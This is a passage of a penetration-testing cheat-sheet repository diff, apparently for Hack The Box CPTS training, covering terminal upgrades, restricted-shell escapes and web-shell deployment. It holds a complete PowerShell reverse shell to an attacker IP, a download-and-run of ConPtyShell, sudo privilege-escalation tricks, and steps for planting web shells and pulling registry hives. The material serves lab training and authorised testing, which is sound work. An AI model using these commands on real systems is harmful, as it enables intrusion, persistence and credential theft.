"$TERM" -stty size -tput lines -tput cols -``` - -If applications report an unknown terminal or render badly, select the first compatible terminfo entry available on the target: - -```bash -if command -v infocmp >/dev/null 2>&1; then - for CANDIDATE_TERM in "$TERM" xterm-256color xterm vt100; do - if infocmp "$CANDIDATE_TERM" >/dev/null 2>&1; then - export TERM="$CANDIDATE_TERM" - break - fi - done -else - export TERM=xterm -fi - -printf 'Using TERM=%s\n' "$TERM" -``` - -Optional locale repair for broken characters: - -```bash -locale -export LC_ALL=C -``` - -Use `LC_ALL=C` only when needed; it changes sorting, messages and character handling for the session. - -### Resize later - -The remote PTY does not normally receive local `SIGWINCH` resize events through a simple netcat chain. Re-run the local generator, then paste its new `stty rows ... cols ...` command remotely. Socat, SSH, tmux and terminal-aware frameworks may propagate resizing automatically; verify with `stty size` rather than assuming they did. - ---- - -## 5 · Signal and job-control verification `fas:Check` - -```bash -sleep 30 -``` - -Press Ctrl+C. The `sleep` process should stop while the shell survives. - -```bash -sleep 30 & -jobs -fg %1 -``` - -Press Ctrl+Z, then check: - -```bash -jobs -bg %1 -fg %1 -``` - -> [!warning]+ Test with disposable commands -> Do not test signal handling against a database client, package manager, file editor or exploit process that could be left half-written. - ---- - -## 6 · SSH-native terminal allocation and escapes `fas:Key` - -If valid SSH access exists, prefer SSH’s native PTY allocation over stabilizing netcat. - -```bash -ssh -t user@target -ssh -tt user@target 'bash --noprofile --norc -i' -``` - -A second `-t` forces allocation even when the local client has no TTY. - -### OpenSSH escape sequences - -Escapes are recognized only after a newline and only when a PTY was requested. - -```text -Enter, then ~? show escape help -Enter, then ~. disconnect -Enter, then ~^Z suspend the local ssh client -Enter, then ~# list forwarded connections -Enter, then ~C open the forwarding command line -``` - -At the `~C` prompt: - -```text --L 8080:127.0.0.1:80 --D 1080 --KL 8080 -``` - -> [!note]+ Shell restrictions still apply -> `ssh -tt ... bash` works only if `sshd` permits the command and the account is not constrained by `ForceCommand`, a restricted shell, a container/jail, or another policy. - ---- - -## 7 · Meterpreter and framework sessions `fas:Terminal` - -### Meterpreter to operating-system shell - -```text -meterpreter > shell -``` - -Then on a Unix target: - -```bash -python3 -c 'import pty; pty.spawn("/bin/bash")' -``` - -### Basic shell to Meterpreter - -From msfconsole: - -```text -sessions -sessions -u <SESSION_ID> -``` - -Or: - -```text -use post/multi/manage/shell_to_meterpreter -set SESSION <SESSION_ID> -run -``` - -An upgrade changes the session transport/features; it does not guarantee a PTY inside a subsequent `shell` channel. - ---- - -## 8 · Restricted-shell identification and escape `fas:DoorOpen` - -Restricted shells are policy boundaries, not bad TTYs. Identify the restriction before trying available escape-capable programs. - -### Identify the shell and allowed surface - -```bash -printf 'SHELL=%s argv0=%s flags=%s\n' "$SHELL" "$0" "$-" -getent passwd "$(id -un)" 2>/dev/null -echo "$PATH" -type -a sh bash python3 python perl ruby vi vim less man awk find 2>/dev/null -compgen -c 2>/dev/null | sort -u -``` - -Common indicators: - -| Shell | Typical behavior | -|---|---| -| `rbash` | Blocks `cd`, slashes in command names, PATH changes, `exec` and output redirection | -| `rksh` / restricted ksh | Similar path, directory and redirection restrictions | -| `rzsh` | zsh restricted option; path/command limitations | -| `lshell` | Allow/deny lists and explicit “forbidden command” messages | -| `rssh` / `git-shell` | Purpose-built command set rather than a normal interactive shell | -| container/chroot | Normal shell syntax but filesystem/process/network boundaries remain | - -### Rank escape candidates - -1. Interpreters already on the allowed PATH. -2. Editors and pagers with shell commands. -3. An SSH forced command or native PTY. -4. Environment-controlled helpers such as `PAGER`, `VISUAL` or `SHELL`. -5. A permitted shell script or command that invokes another program. - -### Interpreters - -```bash -python3 -c 'import os; os.execl("/bin/bash", "bash", "-i")' -perl -e 'exec "/bin/bash";' -ruby -e 'exec "/bin/bash"' -lua -e 'os.execute("/bin/bash")' -php -r 'system("/bin/bash");' -awk 'BEGIN {system("/bin/bash")}' -``` - -If slashes are rejected but the binary is on PATH, try `bash` rather than `/bin/bash`. - -### Editors and pagers - -Vim: - -```vim -:set shell=/bin/bash -:shell -``` - -Alternative Vim command (works in `vi` as well): - -```vim -:!/bin/bash -``` - -Less or man: - -```text -!/bin/bash -``` - -Nano, when Execute Command is enabled: - -```text -Ctrl+R -Ctrl+X -/bin/bash -``` - -### Common command helpers - -```bash -find . -exec /bin/sh \; -awk 'BEGIN {system("/bin/bash")}' -env /bin/bash -i -gdb -nx -ex '!bash' -ex quit -``` - -### SSH from outside the restriction - -When the account is dropped into `rbash` by its login shell but `sshd` itself is not locked down with `ForceCommand`, supply your own command so the restricted login shell never starts: - -```bash -ssh user@target 'bash --noprofile --norc -i' -ssh -tt user@target 'bash --noprofile --norc -i' -``` - -`--noprofile --norc` skips the startup files that might re-enter restricted mode. If the account's login shell is `rbash` and `sshd` runs the command *through* that shell (`rbash -c 'bash --noprofile --norc -i'`), rbash may still allow it because the child process is a fresh unrestricted Bash—verify with the checks below. - -### rbash-specific observations - -GNU Bash applies restricted-mode checks after startup files are read, and shell scripts found as commands may execute in a non-restricted Bash process. Whether that is usable depends on PATH, file permissions and the surrounding jail. - -```bash -BASH_CMDS[a]=/bin/bash -a -``` - -If a permitted editor or upload route can place a reviewed script in an executable PATH directory: - -```bash -allowed-script.sh -``` - -### PATH and sudo environment tricks - -Restrictions that rely on `PATH`, or sudo rules that preserve the caller's environment, are configuration weaknesses rather than TTY problems: - -```bash -# What can this account run with sudo, and is the environment preserved? -sudo -l -``` - -| Condition in `sudo -l` output | Why it matters | -|---|---| -| `env_keep+=LD_PRELOAD` / `LD_LIBRARY_PATH` | A reviewed shared library staged by the operator can run inside the sudo'd process | -| `(ALL) NOPASSWD: /usr/bin/find` (or another GTFOBins-capable binary) | `sudo find . -exec /bin/sh \;` runs the shell with sudo's privileges | -| A permitted editor/pager (`vi`, `less`, `man`) under sudo | Its `!` shell-command escapes inherit sudo privileges | -| Writable directory early in `PATH` with a permitted bare command name | A staged same-name script shadows the intended binary | - -Treat any success here as a **privilege-escalation finding** to report, not a shell-quality fix. - -### Verify the escape - -```bash -printf 'argv0=%s flags=%s shell=%s\n' "$0" "$-" "$SHELL" -cd / -printf 'redirect-test\n' > /tmp/tty-escape-check -rm -f /tmp/tty-escape-check -``` - -> [!warning]+ Escape does not mean host escape -> Leaving `rbash` may only remove command-language restrictions. It does not escape a chroot, namespace, container, mandatory-access-control policy or low-privilege account. - ---- - -## 9 · Windows shell quality and ConPTY `fab:Windows` - -Windows `cmd.exe` and PowerShell over a raw socket have the same class of problems: line editing, console applications and Ctrl+C may not behave normally. Windows Pseudo Console (ConPTY) provides a console host suitable for interactive character-mode applications on supported Windows versions. - -### Diagnose — CMD - -```batch -whoami -ver -echo %CMDCMDLINE% -where powershell.exe -where pwsh.exe -``` - -### Diagnose — PowerShell - -```powershell -whoami -$ExecutionContext.SessionState.LanguageMode -[Environment]::OSVersion.Version -[Environment]::Is64BitProcess -Get-CimInstance Win32_Process -Filter "ProcessId=$PID" | - Select-Object ProcessId, ParentProcessId, Name, ExecutablePath -``` - -`ConstrainedLanguage` permits cmdlets and basic language elements but restricts many .NET/COM operations. Treat that as an application-control signal; do not assume a failed script means networking is broken. - -### Baseline PowerShell reverse shell - -When you first land in a web shell or command-injection context, this one-liner is the classic way to trade request-scoped execution for a persistent socket shell: - -```powershell -powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -``` - -It is a **stream shell, not a ConPTY console**: upgrade it (or move to WinRM/SSH/RDP) before running interactive programs. Review per-engagement policy before use; AMSI and EDR commonly signature this exact string, so expect to stage a reviewed variant rather than paste it verbatim on defended hosts. - -> [!note]+ Every web-shell request is a fresh process -> Web commands run as the application-pool or service identity and start as a **fresh process for every HTTP request** — a successful `cd` does not survive to the next request in a bare shell. The rp-shell family in [sheet 05](/sheets/pentest-workflow/web-shells) fakes cwd persistence with a hidden field/session; bare shells need absolute paths or `cd C:\path && command` chaining. Get a real socket shell (one-liner above), then fix terminal quality with ConPTY or a native management channel. - -### Prefer native management channels when credentials exist - -```bash -evil-winrm -i 10.10.10.10 -u user -p '<password>' -ssh user@10.10.10.10 -xfreerdp /v:10.10.10.10 /u:user /p:'<password>' -``` - -### ConPtyShell workflow - -Review and stage the script from its primary repository rather than executing an unreviewed remote one-liner. - -Attacker listener: - -```bash -stty raw -echo; (stty size; cat) | nc -lvnp 4444 -``` - -Target PowerShell: - -```powershell -Invoke-WebRequest http://10.10.14.2:8000/Invoke-ConPtyShell.ps1 ` - -OutFile $env:TEMP\Invoke-ConPtyShell.ps1 - -. $env:TEMP\Invoke-ConPtyShell.ps1 -Invoke-ConPtyShell 10.10.14.2 4444 -``` - -> [!note]+ ConPTY requirements -> ConPTY is available on modern Windows releases beginning with Windows 10 version 1809 / Server 2019-era builds. Script execution can still be affected by PowerShell language mode, application control, AMSI, proxy settings and endpoint protection. - -### Restore the local terminal - -```bash -stty sane -reset -``` - ---- - -## 10 · Troubleshooting matrix `fas:Wrench` - -| Symptom | Cause | Fix | -|---|---|---| -| `stty: inappropriate ioctl for device` | Ran `stty` on a stream without a PTY, or on the wrong side | Spawn target PTY first; run local raw-mode command on the attacker terminal | -| Ctrl+C kills the whole connection | No controlling PTY or local terminal still processes signals | Complete PTY + raw-mode steps; test with `sleep` | -| Arrow keys print `^[[A` | No readline/PTY, or wrong `TERM` | Allocate PTY; set a supported TERM | -| Tab-completion dead, no history | Full PTY missing — shell is interactive-only (`bash -i` fallback) | Allocate a real PTY (`python3 pty.spawn` / `script` / socat), then `stty raw -echo; fg` | -| Control characters / garbled screen on window resize | Remote PTY never got the new size — `stty rows/cols` mismatch | Re-run the local generator and paste fresh `stty rows ... cols ...` remotely; socat/SSH propagate `SIGWINCH`, netcat does not | -| `sudo: a terminal is required` / shell dies on `sudo` | sudo needs a TTY to read the password (`requiretty` or no PTY) | Allocate a PTY first; confirm with `tty`; if policy forces `requiretty`, no stream shell will work | -| Commands appear twice | Echo enabled on both sides | Ensure local `stty raw -echo` or socat `echo=0` | -| No prompt after `fg` | Prompt not redrawn or reset waiting for terminal name | Press Enter; run `reset`; enter `xterm` if asked | -| `vim`/`top` is garbled | Wrong geometry or missing terminfo | Set rows/cols; fall back from `xterm-256color` to `xterm`/`vt100` | -| `su`/`ssh` still will not prompt | PTY incomplete, PAM policy, wrong credential or account restriction | Verify `tty` first, then diagnose auth/policy separately | -| `script` has different option errors | BSD/util-linux syntax difference | Check `script --help`; BSD commonly accepts `script -q /dev/null /bin/bash` | -| Socat connects then exits | Quoting, missing shell, wrong architecture or listener mismatch | Use absolute shell path; test socat version; verify both endpoints | -| Local terminal is broken after disconnect | Local side remained raw/no-echo | Type `stty sane` then `reset` blindly, or use another terminal to repair the TTY | -| `tty` works but `jobs` does not | Shell is not interactive or lacks job control | Start `bash -i` inside the PTY; inspect process session/group | -| Reverse shell never arrives through a pivot | Target cannot route to the attacker listener | Put the listener on the pivot, or tunnel it with chisel `R:port:host:port` / ligolo-ng `listener_add` | -| Windows script fails immediately | CLM, script policy, AMSI/EDR, architecture or unsupported build | Check language mode/build; prefer approved WinRM/SSH/RDP when available | - -### Emergency local recovery from another terminal - -Find the terminal device in the affected window: - -```bash -ps -t pts/3 -``` - -Repair it explicitly: - -```bash -stty sane -F /dev/pts/3 -``` - ---- - -## 11 · Operational safety and cleanup `fas:Broom` - -### Before changing the session - -- Record the current user, process tree, shell, `tty` result and local terminal geometry. -- Save the local `stty -g` state. -- Note every transferred binary/script and its SHA-256. -- Use a unique listener port within scope. - -### During the session - -- Avoid putting credentials in command-line arguments where process listings or shell history expose them. -- Do not use terminal experiments on long-running or stateful target processes. -- Treat automated shell managers as tools that may upload files or run enumeration automatically. -- Treat tunnel agents (chisel, ligolo-ng) as infrastructure: log every server/client endpoint and reverse-forward mapping you open. - -### Cleanup - -```bash -# Target: remove only artifacts you staged. -rm -f /tmp/socat /tmp/chisel - -# Attacker: always restore terminal behavior. -stty sane -reset -``` - -On Windows: - -```powershell -Remove-Item $env:TEMP\Invoke-ConPtyShell.ps1 -ErrorAction SilentlyContinue -``` - -Stop chisel servers/clients and ligolo-ng agents/proxies you started, and remove their binaries. Do not clear target logs or history. Preserve the engagement record and report any security boundary you bypassed. - ---- - -## Quick reference `ris:GlobalLine` - -| Situation | First choice | Follow-up | -|---|---|---| -| Linux raw reverse shell | Python `pty.spawn` | Ctrl+Z → local raw mode → reset/TERM/size | -| No Python | `script -qc /bin/bash /dev/null` | Same stty workflow | -| socat available | socat PTY listener + EXEC one-liner pair | Set TERM/geometry | -| Only netcat | `rlwrap nc` for comfort | Still allocate a target PTY | -| Target cannot reach attacker | Listener on the pivot, or chisel `R:` / ligolo-ng tunnel | Then upgrade the shell normally | -| Valid SSH credential | `ssh -tt` | Avoid netcat stabilization | -| Meterpreter `shell` | Spawn PTY inside shell | Or upgrade session type | -| rbash/rksh | Inventory allowed commands | Interpreter/editor/pager/SSH escape | -| Windows modern build | Native WinRM/SSH/RDP first | Reviewed ConPTY tooling if required | -| Broken local terminal | `stty sane` | `reset` | - -## Lessons learned `fas:Lightbulb` - -1. **A new shell is not a PTY.** Perl `exec` and `bash -i` can improve the prompt without fixing `tty`, job control or signals. -2. **PTY allocation and raw mode are separate.** You normally need both halves of the gold-path workflow. -3. **Save `stty -g` first.** It turns a broken local terminal into a one-command recovery. -4. **Geometry is functional, not cosmetic.** Wrong rows/columns corrupt editors, pagers and interactive tools — and netcat chains never learn about local resizes, so re-push `stty rows/cols` after every window change. -5. **Restricted shell is policy.** Stabilize the terminal, then evaluate the restriction as its own security boundary; a sudo/`env_keep` or PATH weakness you find along the way is a privilege-escalation finding, not a shell fix. -6. **Prefer native channels.** If SSH, WinRM or RDP credentials are available, they are more reliable than repairing a raw socket. -7. **Pivot first, then listen.** When the target cannot route to you, the catch listener belongs on the pivot — or at the end of a chisel/ligolo-ng tunnel — not on an attacker interface the target will never reach. -8. **Clean up tools, not evidence.** Remove staged binaries/scripts and tunnel endpoints; do not erase logs or history. - -## References `fas:BookOpen` - -1. [Python documentation — `pty`](https://docs.python.org/3/library/pty.html) -2. [util-linux `script(1)` manual](https://man7.org/linux/man-pages/man1/script.1.html) -3. [GNU Coreutils — `stty`](https://www.gnu.org/software/coreutils/manual/html_node/stty-invocation.html) -4. [OpenSSH `ssh(1)` — PTY allocation and escape characters](https://man.openbsd.org/ssh) -5. [GNU Bash — The Restricted Shell](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html) -6. [Microsoft — Windows Pseudoconsoles](https://learn.microsoft.com/en-us/windows/console/pseudoconsoles) -7. [Microsoft PowerShell — Language Modes](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes) -8. [ConPtyShell primary repository](https://github.com/antonioCoco/ConPtyShell) -9. [pwncat-cs primary repository](https://github.com/calebstewart/pwncat) -10. [chisel primary repository — TCP/UDP tunnel over HTTP](https://github.com/jpillora/chisel) -11. [ligolo-ng primary repository — TUN-based pivoting](https://github.com/nicocha30/ligolo-ng) -12. [HTB Academy — Pivoting, Tunneling, and Port Forwarding](https://academy.hackthebox.com/module/details/158) - ---- - -[← Previous: Web Shells](/sheets/pentest-workflow/web-shells) · [Workflow dashboard ↻](/sheets/pentest-workflow/attacking-common-modules-dashboard) - -#HTB #CPTS #TTY #PTY #ShellUpgrade #RestrictedShell #Pivoting #PostExploitation diff --git a/src/content/sheets/pentest-workflow/web-shells.md b/src/content/sheets/pentest-workflow/web-shells.md @@ -1,720 +0,0 @@ ---- -title: "Web Shells — Creating & Deploying" -description: "Updated CPTS field reference for web shells — creating & deploying." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 29 -tags: ["htb", "academy", "htb-academy-8-shells-and-payloads", "cpts", "websecurity", "webshell", "fileupload", "pentest-workflow"] -tools: ["rp-shell family (aspx/php/asp/jsp)", "Laudanum", "Antak (Nishang)", "weevely", "msfvenom", "Burp Suite", "wshx / revx (x-family)"] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/05 - Web Shells - CPTS Cheat Sheet.md" ---- -[← Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [← Previous: Windows PrivEsc](/sheets/pentest-workflow/windows-privesc-cpts) · [Next: TTY Upgrades →](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) - -# Web Shells — Creating & Deploying `fas:ClipboardList` - -> [!dashboard] Module context -> **Module:** 8 · Shells and Payloads · **Deep dive:** Landing a Web Shell · **Foothold toolkit:** [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) -> **Related:** 6 - Crafting Payloads with MSFvenom · 3 - Reverse Shells · Command Injection - Filter Bypass Cheat Sheet · [TTY Upgrades](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) - -## Summary `ris:Eye` - -A **web shell** is a script written in the server's own web language (PHP / ASP(X) / JSP / CFM / Perl / Python) that, once it lands in a web-served directory, hands you OS command execution through the browser. Two halves to the job: **create** the right shell for the stack, and **deploy** it — via an unrestricted upload, a filter you had to bypass, an LFI/SQLi write primitive, or a management interface. This card is a single-source reference for every flavour of web shell and every common way to get one onto disk and executing. - -> [!danger]+ HTB-Only Boundary -> `fas:TriangleExclamation` -> 1. Every payload here is for **Hack The Box, HTB Academy, deliberately vulnerable labs, or systems you own and are explicitly authorised to test**. A dropped `.php`/`.aspx` on a real host is unauthorised access + a persistent backdoor. -> 2. A web shell on disk is a **forensic artifact** and often survives your session — clean it up (see Operational safety, detection & cleanup). -> 3. **Never upload a real payload to public VirusTotal** — it burns the hash to every AV vendor. -> 4. Treat the web shell as a **stepping stone to a proper reverse shell**, never the end state — it's fragile, semi-interactive, and noisy. - ---- - -## ★ The rp-shell family — working shells, Rosé Pine UI `ris:Star` - -Four single-file shells, one per stack, all sharing the same Rosé Pine interface and feature set. **These are the default choice** — they fix the sharp edges that make minimal shells annoying: persistent `cd`, stderr capture, file upload/download, one-click enum chips, command history. - -| File | Stack | Interpreter | Use when | -|---|---|---|---| -| [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) | IIS + ASP.NET | C# / `cmd.exe /c` | Modern IIS (Server 2016+), DNN, SharePoint | -| [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) | Apache/Nginx + PHP | `shell_exec` w/ fallbacks | LAMP/LEMP, WordPress, most Linux web | -| [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) | IIS + **Classic ASP** | VBScript / `WScript.Shell` | Legacy IIS only — needs the Classic ASP feature | -| [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) | Tomcat / JBoss / any JSP | Java `ProcessBuilder`, OS auto-detect | Java containers, inside a `.war` | - -**Shared features** - -- **Banner identity** — `HOSTNAME :: whoami` on load, so you always know your context before typing anything -- **Persistent `cd`** — working directory survives between requests (hidden field on ASPX/PHP/ASP, HTTP session on JSP); `cls` clears output -- **stdout + stderr** both captured — a blank response no longer hides the error -- **Enum chips** — one-click `whoami /all`, `whoami /priv`, `ipconfig`, `sudo -l`, `id`, SUID hunt, interpreter check (OS-appropriate per shell) -- **File upload** (ASPX/PHP) — drops into the current working directory, perfect for `nc.exe` / `PrintSpoofer64.exe` / chisel staging -- **File download** — `?get=C:\path\file` or `/etc/passwd`, streams as an attachment -- **Command history** — up/down arrows cycle previous commands (client-side) -- **`ValidateRequest="false"`** (ASPX) — commands with `<`, `>`, quotes don't trip ASP.NET request validation - -> [!warning]+ The extension–language mismatch trap (learned the hard way) -> **Classic ASP (VBScript) code in a `.aspx` file = instant "Server Error in '/' Application" runtime error page.** ASP.NET cannot parse `Server.CreateObject` / `Function...end Function` VBScript. The generic red error page appears because `customErrors` isn't `Off` in web.config — it hides the real parse exception. -> - VBScript code → save as **`.asp`** (requires the Classic ASP IIS feature) -> - C# `<script runat="server">` code → save as **`.aspx`** -> - When in doubt, probe first: `<%@ Page Language="C#" %><%= 7 * 7 %>` renders `49` only if ASP.NET executes -> - This exact bug previously cost a full debugging session on the AEN DNN host — the old version of this card had a VBScript block unlabelled inside the ASPX section - -> [!example]+ Deploying rp-shell on the AEN DNN host (worked example) -> 1. DNN admin → **Settings → Security → More → More Security Settings** → add `aspx` to *Allowable File Extensions* -> 2. **Content → Assets / File Management** → upload `nt-webshell-rosepine.aspx` to the site root (lands in `C:\DotNetNuke\Portals\0`) -> 3. Browse `http://172.16.8.20/Portals/0/nt-webshell-rosepine.aspx` — banner confirms identity -> 4. Click the **`whoami /priv`** chip → look for `SeImpersonatePrivilege: Enabled` → PrintSpoofer path (see [6 - Post-Exploitation Persistence & Internal Enumeration](/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration)) -> 5. Use the upload form to stage `nc.exe` + `PrintSpoofer64.exe` into the cwd; use `?get=` to pull the `SAM.SAVE`/`SECURITY.SAVE`/`SYSTEM.SAVE` hives -> 6. **Cleanup:** delete the shell, the staged tools, and revert the extensions list - ---- - -## Field workflow — identify, validate, operate, remove `fas:Route` - -| Phase | Action | Evidence to retain | -|---|---|---| -| 1 · Fingerprint | Confirm server, framework, handler and accepted extensions | Headers, response body, version source | -| 2 · Probe | Use harmless arithmetic or a static marker before OS commands | Request/response pair and returned marker | -| 3 · Place | Record the client filename, server filename and resolved URL | Upload response, path, timestamp, SHA-256 | -| 4 · Validate | Run identity, working-directory and OS checks | Service identity, cwd, architecture, PATH | -| 5 · Operate | Prefer the smallest command needed to prove impact | Commands, UTC timestamps and outputs | -| 6 · Upgrade | Move to a reverse shell/TTY only when the task requires interaction | Listener details and new process context | -| 7 · Remove | Delete the shell and every companion artifact | Removal command and negative verification | - -```bash -# Reusable lab context -export BASE_URL="http://target.htb" -export SHELL_URL="$BASE_URL/uploads/audit.php" -export LHOST="10.10.14.2" -export LPORT="4444" -``` - -> [!tip]+ Start with a marker -> A static file or `7*7` interpreter probe separates “upload succeeded” from “the server executed my code.” Do not jump straight to a reverse shell when a harmless marker proves the handler and path. - ---- - -## Pick the right shell for the stack `ris:FileList` - -| Server / tech | Tell (how you spot it) | Shell format | rp-shell | -|---|---|---|---| -| **Apache/Nginx + PHP** | `X-Powered-By: PHP`, `.php` URLs, `phpinfo` | `.php .phtml .php5 .pht .phar` | `rp-shell.php` | -| **IIS + ASP.NET** | `Server: Microsoft-IIS`, `aspnet_client/` dir, `.aspx` | `.aspx` | `nt-webshell-rosepine.aspx` | -| **IIS + Classic ASP** | legacy app, `.asp` URLs | `.asp` | `rp-shell.asp` | -| **Apache Tomcat** | port 8080, `/manager`, `Coyote` banner | `.jsp` or deployable `.war` | `rp-shell.jsp` | -| **JBoss / WildFly** | `/jmx-console`, `/web-console` | `.war` | `rp-shell.jsp` in a war | -| **Adobe ColdFusion** | `.cfm`, port 8500, `CFIDE/` | `.cfm` | (snippet below) | -| **Apache + mod_perl/CGI** | `/cgi-bin/`, `.pl`/`.cgi` | `.pl .cgi` | (snippet below) | -| **Python (Flask/Django/CGI)** | `Werkzeug`, `gunicorn` banner | depends on framework | `os.system()` inline | - -> [!tip]+ Match the format to what the target will *execute*, not to the file you have -> `fas:Lightbulb` -> Uploading `shell.php` to an IIS/ASP.NET box gets you a downloadable text file, not execution. Confirm the stack first (banner, extensions, `whatweb`/`nmap -sV`), then pick the language. When unsure, drop a probe file (`test.php` containing `<?php echo 7*7; ?>`) and check whether it renders `49` or the source. - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Web shell workflow</span><span class="flow__dir">TD</span></figcaption> - <div class="flow__body"> - <div class="flow__diagram" data-dir="td"> - <div class="flow-rank"><div class="flow-node is-entry">Fingerprint stack<span class="sub">(banner / ext / whatweb)</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Craft shell in<span class="sub">server's language</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node is-decision">Delivery vector?</div></div> - <div class="flow-branches"> - <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">file upload</span></div><div class="flow-node">Upload<span class="sub">(bypass filter if any)</span></div></div> - <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">LFI / log / SQLi</span></div><div class="flow-node">Write to webroot<span class="sub">or poison + include</span></div></div> - <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">mgmt iface</span></div><div class="flow-node">Tomcat/JBoss WAR,<span class="sub">WebDAV PUT, CMS editor</span></div></div> - </div> - <div class="flow-join"></div> - <div class="flow-rank"><div class="flow-node">Browse to path</div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node is-goal">Run cmds → upgrade<span class="sub">to reverse shell (revx/wshx)</span></div></div> - </div> - </div> -</figure> - ---- - -## 0 · Validate execution context `fas:MagnifyingGlass` - -A successful request is only the beginning. Establish the process identity and constraints before choosing a payload or writing more files. (With an rp-shell, the banner + chips do this for you — this section is for bare one-liner shells.) - -### Linux-hosted application - -```bash -id -pwd -uname -a -printf 'PATH=%s\n' "$PATH" -command -v bash sh python3 python perl php curl wget nc socat -env | sort -``` - -### Windows-hosted application — CMD - -```batch -whoami /all -cd -ver -set -where cmd.exe -where powershell.exe -where pwsh.exe -``` - -### Windows-hosted application — PowerShell - -```powershell -$ExecutionContext.SessionState.LanguageMode -[Environment]::Is64BitProcess -Get-Location -Get-ChildItem Env: | Sort-Object Name -Get-Command cmd.exe, powershell.exe, pwsh.exe -ErrorAction SilentlyContinue -``` - -> [!note]+ Interpret the result -> Web commands run as the application-pool or service identity, inherit its environment, and usually start as a fresh process for every HTTP request. A successful `cd` does not normally persist to the next request **in a bare shell** — the rp-shell family fakes persistence with a hidden field/session; bare shells need absolute paths or `cd /path && command` chaining. Upgrade when you need job control or interactive prompts. - -### Exercise GET and POST safely - -```bash -# GET parameter — URL-encode the complete command -curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=id" - -# POST parameter — useful when the shell expects form data -curl -fsS -X POST "$SHELL_URL" --data-urlencode "c=whoami" - -# Preserve a response for the engagement record -curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=pwd" -D headers.txt -o response.txt -``` - -> [!tip]+ Let curl perform the encoding -> Use `--data-urlencode` for spaces, `&`, pipes, redirects and other shell metacharacters. Hand-building `?cmd=id && hostname` changes the HTTP query at `&`; it does not reliably send the complete command as one parameter. - ---- - -## Map the request to the executing file `fas:MapLocationDot` - -“Uploaded successfully” does not prove that the file is reachable or executable. Record each layer separately so a `404`, source-code download or blank response has an obvious place to investigate. - -| Layer | Example | Question to answer | -|---|---|---| -| Virtual host | `app.target.htb` | Which `Host` header reaches the application? | -| Public URL | `/media/2026/08/audit.php` | What URL did the application return or render? | -| Physical path | `/var/www/app/public/media/...` | Where did the server actually store the file? | -| Handler | PHP-FPM, ASP.NET, JSP/Tomcat, ColdFusion | Will this extension be interpreted or served as data? | -| Process identity | `www-data`, `apache`, `IIS APPPOOL\Site` | Which permissions and environment apply? | -| Request state | Cookie, CSRF token, multipart field name | What must be replayed to reach or trigger it? | - -### Prove the handler before proving command execution - -Use a unique static marker first. If interpreter execution is required, use harmless arithmetic and remove the probe after validation. - -```php -<?php echo 7 * 7; ?> -``` - -```aspx -<%@ Page Language="C#" %><%= 7 * 7 %> -``` - -```jsp -<%= 7 * 7 %> -``` - -```cfm -<cfoutput>#7 * 7#</cfoutput> -``` - -Rendered `49` proves the handler ran. Seeing source code proves it did not. A `404` says nothing about the handler until the URL/vhost and server-side name are confirmed. - -### Preserve the exact authenticated request - -Start from Burp's **Copy as curl** output when the upload uses authentication or CSRF protection. Keep the vhost, cookies, token, multipart field name and filename; simplify only after a successful replay. - -```bash -export TARGET_IP='10.10.10.10' -export TARGET_HOST='app.target.htb' - -# Maintain the application session and force the intended vhost to the target IP. -curl -ksS -c webshell.cookies -b webshell.cookies \ - --resolve "$TARGET_HOST:443:$TARGET_IP" \ - "https://$TARGET_HOST/upload" - -# Representative multipart replay—use the real field and CSRF names from the app. -curl -ksS -c webshell.cookies -b webshell.cookies \ - --resolve "$TARGET_HOST:443:$TARGET_IP" \ - -H 'X-CSRF-Token: REPLACE_FROM_SESSION' \ - -F 'file=@probe.php;type=image/gif' \ - -D upload.headers -o upload.body \ - "https://$TARGET_HOST/upload" -``` - -Inspect the status, redirects and response body for a generated filename, UUID, JSON path or rendered media URL: - -```bash -sed -n '1,40p' upload.headers -sed -n '1,160p' upload.body -rg -io '(/[^" ]+\.(php|aspx|jsp|cfm))|([0-9a-f]{8}-[0-9a-f-]{27,})' upload.body -``` - -### Resolve the physical webroot from execution context - -Linux-hosted web service: - -```bash -pwd -printf 'DOCUMENT_ROOT=%s\n' "${DOCUMENT_ROOT:-unset}" 